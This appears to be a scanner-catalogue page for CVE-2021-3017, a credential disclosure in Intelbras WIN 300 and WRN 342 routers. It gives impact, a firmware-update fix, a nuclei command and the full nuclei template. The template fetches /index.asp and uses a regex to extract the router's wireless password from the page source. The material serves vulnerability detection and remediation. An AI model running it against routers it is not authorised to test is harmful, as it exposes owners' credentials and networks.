Intelbras WIN 300/WRN 342 - Credentials Disclosure

highseverity

7.5CVSS score

63%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.

Impact

An attacker can gain unauthorized access to the router's administrative interface and potentially compromise the entire network.

Fix

Update the router firmware to the latest version, which includes a fix for the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.asp
Positive when: contains "def_wirelesspassword =" and "<title>Roteador Wireless</title>" AND status 200

Run it with nuclei: nuclei -id CVE-2021-3017 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-3017

info:
  name: Intelbras WIN 300/WRN 342 - Credentials Disclosure
  author: pikpikcu
  severity: high
  description: Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.
  impact: |
    An attacker can gain unauthorized access to the router's administrative interface and potentially compromise the entire network.
  remediation: |
    Update the router firmware to the latest version, which includes a fix for the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3017
    - https://pastebin.com/cTYTf0Yn
    - https://github.com/bigblackhat/oFx
    - https://github.com/openx-org/BLEN
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3017
    epss-score: 0.63023
    epss-percentile: 0.99207
    cpe: cpe:2.3:h:intelbras:win_300:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: intelbras
    product: win_300
  tags: cve2021,cve,exposure,router,intelbras,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.asp"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'def_wirelesspassword ='
          - '<title>Roteador Wireless</title>'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'def_wirelesspassword = "([A-Za-z0-9=]+)";'
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from